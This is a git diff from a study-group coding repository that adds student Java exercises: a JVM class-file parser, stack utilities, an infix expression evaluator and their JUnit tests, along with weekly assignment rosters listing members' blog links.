+	private ClassFile clzFile;
+
+	/**
+	 * 读取方法 method_info {<br/>
+	 * u2 access_flags,<br/>
+	 * u2 name_index,<br/>
+	 * u2 descriptor_index,<br/>
+	 * u2 attributes_count,<br/>
+	 * attribute_info attributes[attributes_count]<br/>
+	 * }
+	 * 
+	 * @param itr
+	 * @return Method
+	 */
+	public static Method parse(ConstantPool cp, ByteCodeIterator itr) {
+		int accessFlag = itr.nextU2toInt();
+		int nameIndex = itr.nextU2toInt();
+		int descriptorIndex = itr.nextU2toInt();
+		int attrCount = itr.nextU2toInt();
+		Method method = new Method(accessFlag, nameIndex, descriptorIndex,
+				attrCount);
+		for (int i = 0; i < attrCount; i++) {
+			method.addAttributeInfo(AttributeInfo.parse(cp, itr));
+		}
+		return method;
+	}
+
+	/**
+	 * 专门用来获取code属性的方法
+	 * 
+	 * @return
+	 */
+	public CodeAttr getCodeAttr() {
+		for (int i = 0; i < attributeInfos.size(); i++) {
+			AttributeInfo attributeInfo = attributeInfos.get(i);
+			if(AttributeInfo.CODE.equals(attributeInfo.getType())){
+				return (CodeAttr)attributeInfo;
+			}
+		}
+		return null;
+	}
+
+	public void addAttributeInfo(AttributeInfo a) {
+		this.attributeInfos.add(a);
+	}
+
+	/*
+	 * getter setter
+	 */
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(int accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public void setDescriptorIndex(int descriptorIndex) {
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public List<AttributeInfo> getAttributeInfos() {
+		return attributeInfos;
+	}
+
+	public void setAttributeInfos(List<AttributeInfo> attributeInfos) {
+		this.attributeInfos = attributeInfos;
+	}
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getAttrCount() {
+		return attrCount;
+	}
+
+	public void setAttrCount(int attrCount) {
+		this.attrCount = attrCount;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..c69ba73610
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+		String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+	}
+	public static String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+	public static String byteToAscii(byte[] codes){
+		return new String(codes);
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java
similarity index 58%
rename from group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java
rename to group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java
index 6bde3e3105..5cde9073f3 100644
--- a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/Stack.java
+++ b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/Stack.java
@@ -1,7 +1,9 @@
-package com.coding.basic;
+package com.coding.basic.stack;
 
 import java.util.EmptyStackException;
 
+import com.coding.basic.ArrayList;
+
 public class Stack<E> {
 	private ArrayList<E> elementData = new ArrayList<E>();
 	
@@ -29,4 +31,16 @@ public boolean isEmpty(){
 	public int size(){
 		return elementData.size();
 	}
+	@Override
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		sb.append("[");
+		for (int i = 0; i < size(); i++) {
+			sb.append(elementData.get(i)).append(", ");
+		}
+		sb.deleteCharAt(sb.length()-1);
+		sb.deleteCharAt(sb.length()-1);
+		sb.append("]");
+		return sb.toString();
+	}
 }
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..1a29d59e48
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,147 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse_useTwoStack(Stack<Integer> s) {
+		if (s.size() < 2) {
+			return;
+		}
+		Stack<Integer> stack1 = new Stack<>();
+		Stack<Integer> stack2 = new Stack<>();
+		int length = s.size();
+		for (int i = 0; i < length; i++) {
+			stack1.push(s.pop());
+		}
+		for (int i = 0; i < length; i++) {
+			stack2.push(stack1.pop());
+		}
+		for (int i = 0; i < length; i++) {
+			s.push(stack2.pop());
+		}
+	}
+
+	public static void reverse(Stack<Integer> s) {
+		if (s.size() < 2) {
+			return;
+		}
+		Stack<Integer> tmp = new Stack<>();
+		int length = s.size();
+		for (int i = 0; i < length; i++) {
+			tmp.push(s.pop());
+		}
+		for (int i = 0; i < length; i++) {
+			addToBottom(s, tmp.pop());
+		}
+	}
+
+	/**
+	 * 添加元素到栈底部
+	 * 
+	 * @param s
+	 * @param value
+	 */
+	public static void addToBottom(Stack<Integer> s, Integer value) {
+		/*
+		 * Stack<Integer> stack = new Stack<>(); for (int i = 0; i < s.size();
+		 * i++) { stack.push(s.pop()); } s.push(value); for (int i = 0; i <
+		 * s.size(); i++) { s.push(stack.pop()); }
+		 */
+		if (s.isEmpty()) {
+			s.push(value);
+		} else {
+			Integer top = s.pop();
+			addToBottom(s, value);
+			s.push(top);
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static boolean remove(Stack<?> s, Object o) {
+		if (s.isEmpty()) {
+			throw new RuntimeException("stack is empty");
+		}
+		boolean flag = false;
+		Stack<Integer> tmp = new Stack<>();
+		while (!s.isEmpty()) {
+			tmp.push(s.pop());
+			if (tmp.peek().equals(o)) {
+				flag = true;
+
+				tmp.pop();
+				for (int i = 0; i < tmp.size(); i++) {
+					s.push(tmp.pop());
+				}
+				break;
+			}
+		}
+		return flag;
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
+	 * 可以使用另外一个栈来辅助
+	 * 
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack<?> s, int len) {
+		Object[] result = new Object[len];
+		Stack<?> tmp = new Stack<>();
+		for (int i = 0; i < len; i++) {
+			result[i] = s.peek();
+			tmp.push(s.pop());
+		}
+		for (int i = 0; i < len; i++) {
+			s.push(tmp.pop());
+		}
+		return result;
+	}
+
+	/**
+	 * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
+	 * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
+	 * 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s) {
+		Stack<Integer> stack = new Stack<>();
+		char[] strCharArr = s.toCharArray();
+		for (int i = 0; i < strCharArr.length; i++) {
+			char cc = strCharArr[i];
+			int c = cc&0xffff;
+			if (isBracket(c)) {
+				if (c == 40 || c == 91 || c == 123) {
+					stack.push(c);
+				}else{
+					int left = stack.pop();
+					if(left+1!=c&&left+2!=c){
+						return false;
+					}
+				}
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * judge is Bracket or not
+	 * @param c
+	 * @return
+	 */
+	private static boolean isBracket(int c) {
+		if (c == 40 || c == 41 || c == 91 || c == 93 || c == 123 || c == 125) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..b498fc2758
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,114 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coding.basic.stack.StackUtil;
+
+public class InfixExpr {
+	String expr = null;
+	private List<Token> tokenList = new ArrayList<>();
+	private final static String regex = "-|\\+|\\*|/|\\(|\\)";
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+		init();
+	}
+
+	private void init() {
+		if (StackUtil.isValidPairs(expr)) {
+			initTokens();
+		} else {
+			throw new RuntimeException(
+					"Syntax error, ( ) is not completed in your Expression");
+		}
+	}
+
+	/**
+	 * 表达式分解并入栈
+	 */
+	private void initTokens() {
+		String[] nums = expr.split(regex);
+		ArrayList<String> arrayList = new ArrayList<String>();
+		for (int i = 0; i < nums.length; i++) {
+			if (!nums[i].equals("")) {
+				arrayList.add(nums[i]);
+			}
+		}
+		char[] exChars = expr.toCharArray();
+		int numInx = 0;
+		for (int i = 0; i < exChars.length;) {
+			char ex = exChars[i];
+			int item = ex & 0xffff;
+			if (item >= 48 && item <= 57) {
+				int numSize = arrayList.get(numInx++).length();
+				String num = new String(exChars, i, numSize);
+				Token token = new Token(num, Token.NUMBER);
+				tokenList.add(token);
+				i += numSize;
+			} else {
+				Token token = new Token(String.valueOf(ex), Token.OPERA);
+				tokenList.add(token);
+				i += 1;
+			}
+		}
+	}
+
+	/**
+	 * 从左向右扫描所有token，当遇到同优先级或低优先级的操作符时，把之前的操作符依次出栈并计算结果
+	 * 扫描完所有token后，依次出栈所有操作数并计算结果
+	 * 
+	 * @return
+	 */
+	public float evaluate() {
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		for (int i = 0; i < tokenList.size(); i++) {
+			Token token = tokenList.get(i);
+			switch (token.getType()) {
+			case Token.NUMBER:
+				numStack.push(token.getNumValue());
+				break;
+			case Token.OPERA:
+				if (opStack.isEmpty()) {
+					opStack.push(token);
+				} else {
+					while (!opStack.isEmpty() && !token.hasHigherPriority(opStack.peek())) {
+						Token preOper = opStack.pop();
+						Float latter = numStack.pop();
+						Float former = numStack.pop();
+						Float result = caculate(preOper, latter, former);
+						numStack.push(result);
+					}
+					opStack.push(token);
+				}
+				break;
+			default:
+				throw new RuntimeException(" error not Number not Operate ");
+			}
+		}
+		while (!opStack.isEmpty()) {
+			Token pre = opStack.pop();
+			Float f1 = numStack.pop();
+			Float f2 = numStack.pop();
+			Float result = caculate(pre, f1, f2);
+			numStack.push(result);
+		}
+		return numStack.pop();
+	}
+	private Float caculate(Token t, Float latter,Float former){
+		switch (t.getValue()) {
+		case "+":
+			return latter + former;
+		case "-":
+			return former - latter;
+		case "*":
+			return latter * former;
+		case "/":
+			return former / latter;
+		default:
+			throw new RuntimeException("operation"+t.getValue()+" isn't implemented");
+		}
+	}
+}
diff --git a/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..bc6945c757
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/main/java/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,85 @@
+package com.coding.basic.stack.expr;
+
+import java.util.HashMap;
+
+/**
+ * 表达式中的数字或者操作符的抽象实体类
+ * 
+ * @author Walker
+ *
+ */
+public class Token {
+	private final static HashMap<String, Integer> priority = new HashMap<>(4);
+	static {
+		priority.put("+", 1);
+		priority.put("-", 1);
+		priority.put("*", 2);
+		priority.put("/", 2);
+	}
+	private String value;
+
+	public static final int NUMBER = 1;
+	public static final int OPERA = 2;
+	private int type;
+
+	public Token(String v, int t) {
+		this.value = v;
+		this.type = t;
+	}
+
+	public boolean isNum() {
+		return type == NUMBER;
+	}
+
+	public boolean isOpera() {
+		return type == OPERA;
+	}
+
+	@Override
+	public String toString() {
+		return value;
+	}
+
+	public float getNumValue() {
+		return Float.parseFloat(value);
+	}
+
+	public boolean hasLowerPriority(Token t) {
+		if (!this.isOpera() || !t.isOpera()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priority.get(this.value) - priority.get(t.value) < 0;
+	}
+	public boolean hasHigherPriority(Token t) {
+		if (!this.isOpera() || !t.isOpera()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priority.get(this.value) - priority.get(t.value) > 0;
+	}
+	public boolean hasEqualPriority(Token t) {
+		if (!this.isOpera() || !t.isOpera()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priority.get(this.value) - priority.get(t.value) == 0;
+	}
+
+	/*
+	 * getter setter
+	 */
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public void setType(int type) {
+		this.type = type;
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java b/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
index e2ed056cc3..bcc79dc6d8 100644
--- a/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
+++ b/group17/82427129/JavaUtil/src/test/java/com/coderising/jvm/loader/ClassFileLoaderTest.java
@@ -1,13 +1,36 @@
 package com.coderising.jvm.loader;
 
+import java.util.List;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
 public class ClassFileLoaderTest {
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	static String path1 = "C:\\workPrograms\\GitRepo\\coding2017\\group17\\82427129\\JavaUtil\\target\\classes";
 	static String path2 = "D:\\workProgram\\GitRepo\\coding2017\\group17\\82427129\\JavaUtil\\target\\classes";
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
 	@Before
 	public void setUp() throws Exception {
 	}
@@ -20,6 +43,7 @@ public void tearDown() throws Exception {
 	public void testClassFileLength() {		
 		
 		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
 		loader.addClassPath(path2);
 		
 		String className = "com.coderising.jvm.test.EmployeeV1";
@@ -45,6 +69,7 @@ public void testGetClassPath() {
 	@Test	
 	public void testMagicNumber(){
     	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
 		loader.addClassPath(path2);
 		String className = "com.coderising.jvm.test.EmployeeV1";
 		byte[] byteCodes = loader.readBinaryCode(className);
@@ -55,7 +80,93 @@ public void testMagicNumber(){
 		
 		Assert.assertEquals("cafebabe", acctualValue);
 	}
+	
+	@Test
+    public void testVersion(){    			
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+    }
 
+	@Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getName_index());
+			Assert.assertEquals(14, nameAndType.getDescriptor_index());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+	@Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+	
 	private String byteToHexString(byte[] codes) {
 		StringBuffer buffer = new StringBuffer();
 		for (int i = 0; i < codes.length; i++) {
@@ -69,5 +180,77 @@ private String byteToHexString(byte[] codes) {
 		}
 		return buffer.toString();
 	}
+	
+	/**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
 
 }
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..e47a5d44d4
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,65 @@
+package com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class StackUtilTest {
+
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack<>();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..4152869ad2
--- /dev/null
+++ b/group17/82427129/JavaUtil/src/test/java/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,35 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class InfixExprTest {
+
+	@Test
+	public void testEvaluate() {
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+	}
+
+}
diff --git a/group17/article/20170326-20170402.md b/group17/article/20170326-20170402.md
index 5df4ce08e6..0729404704 100644
--- a/group17/article/20170326-20170402.md
+++ b/group17/article/20170326-20170402.md
@@ -22,7 +22,7 @@
 
 240094626
 
-82427129 
+82427129 http://blog.csdn.net/Walk_er/article/details/66971517
 
 296910598
 
diff --git a/group17/article/20170402-20170409.md b/group17/article/20170402-20170409.md
index 3d45ad0516..2445f4a4c2 100644
--- a/group17/article/20170402-20170409.md
+++ b/group17/article/20170402-20170409.md
@@ -12,7 +12,7 @@
 
 1204187480 
 
-102228177  
+102228177   http://note.youdao.com/noteshare?id=4be7978218219daddfb0bb85182be12e
 
 876385982 
 
@@ -22,15 +22,15 @@
 
 240094626
 
-82427129 
+82427129 http://blog.csdn.net/Walk_er/article/details/68486226
 
 296910598
 
-1264835468 
+1264835468 http://www.jianshu.com/p/686572a97fb3
 
 516886559
 
-1282579502 
+1282579502
 
 614982500
 
diff --git a/group17/article/20170409-20170416.md b/group17/article/20170409-20170416.md
new file mode 100644
index 0000000000..11360e66cb
--- /dev/null
+++ b/group17/article/20170409-20170416.md
@@ -0,0 +1,56 @@
+# 自由写作
+
+## 须知
+---
+
+交作业时请在QQ 号后面填上各自的文章链接, 比如:
+
+51075907 http://m.blog.csdn.net/article/details?id=57083764
+
+## 文章
+---
+
+1204187480 
+
+102228177  http://note.youdao.com/noteshare?id=7a1c457bc3de9a140f4e077f6352fc11
+
+876385982 
+
+785396327
+
+1059107701
+
+240094626
+
+82427129 
+
+296910598
+
+1264835468 
+
+516886559
+
+1282579502  https://www.evernote.com/l/AZ3ajLOAlTVHw7foK2KLb-bWZ7kw6FjljDA
+
+614982500
+
+865797761
+
+1540186032  
+
+176653813
+
+116665530
+
+51075907 
+
+1158154002
+
+345450234
+
+919764878
+
+1368331120
+
+517970312
+
diff --git a/group17/article/20170416-20170423.md b/group17/article/20170416-20170423.md
new file mode 100644
index 0000000000..3d45ad0516
--- /dev/null
+++ b/group17/article/20170416-20170423.md
@@ -0,0 +1,56 @@
+# 自由写作
+
+## 须知
+---
+
+交作业时请在QQ 号后面填上各自的文章链接, 比如:
+
+51075907 http://m.blog.csdn.net/article/details?id=57083764
+
+## 文章
+---
+
+1204187480 
+
+102228177  
+
+876385982 
+
+785396327
+
+1059107701
+
+240094626
+
+82427129 
+
+296910598
+
+1264835468 
+
+516886559
+
+1282579502 
+
+614982500
+
+865797761
+
+1540186032  
+
+176653813
+
+116665530
+
+51075907 
+
+1158154002
+
+345450234
+
+919764878
+
+1368331120
+
+517970312
+
diff --git a/group17/article/template.md b/group17/article/template.md
index 0b06ef733e..3d45ad0516 100644
--- a/group17/article/template.md
+++ b/group17/article/template.md
@@ -12,7 +12,7 @@
 
 1204187480 
 
-102228177  http://note.youdao.com/noteshare?id=1f8f4a9d861e24948cdf0219a0d39f4e
+102228177  
 
 876385982 
 
diff --git a/group17/count/homework.md b/group17/count/homework.md
index 640cf4698f..23e71c2fbe 100644
--- a/group17/count/homework.md
+++ b/group17/count/homework.md
@@ -18,6 +18,9 @@
  * [20170305-20170312](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170305-20170312.md) 
 
  * [20170326-20170402](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170326-20170402.md) 
+
  * [20170402-20170409](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170402-20170409.md) 
 
-20170326-20170402.md 20170402-20170409.md
+ * [20170409-20170416](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170409-20170416.md) 
+
+ * [20170416-20170423](https://github.com/luoziyihao/coding2017/blob/master/group17/article/20170416-20170423.md) 
diff --git a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
index bec5202645..b285a214b8 100644
--- a/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
+++ b/group19/527220084/xukai_coding/coding-common/src/main/java/org/xukai/coderising/stack/InfixExpr.java
@@ -1,137 +1,76 @@
 package org.xukai.coderising.stack;
 
-import com.google.common.collect.Maps;
-import com.sun.org.apache.bcel.internal.generic.IFNE;
+import java.util.List;
+import java.util.Stack;
 
-import java.util.HashMap;
 
 public class InfixExpr {
-
-	public static enum TypeToken {
-
-		add('+',0),substruct('-',1),devide('/',3),plus('*',2);
-
-		TypeToken(char token, Integer priority) {
-			this.token = token;
-			this.priority = priority;
-		}
-
-		private char token;
-
-		private Integer priority;
-	}
-
 	String expr = null;
 	
 	public InfixExpr(String expr) {
 		this.expr = expr;
 	}
-//3*20+12*5-40/2
-	public Double evaluate() {
-		HashMap<String, Integer> map = new HashMap<>();
-		map.put("+",0);
-		map.put("-",1);
-		map.put("/",3);
-		map.put("*",2);
-
-
-		Stack tokenStack = new Stack();
-		Stack numStack = new Stack();
-		char[] chars = expr.toCharArray();
-		boolean isNem = true;
-		for (int i = 0; i < expr.length(); i++) {
-//			if (expr.charAt(i) == TypeToken.add.token || expr.charAt(i) == TypeToken.substruct.token) {
-//				isNem = true;
-//				if (!tokenStack.isEmpty() && (char)tokenStack.pop() == '*') {
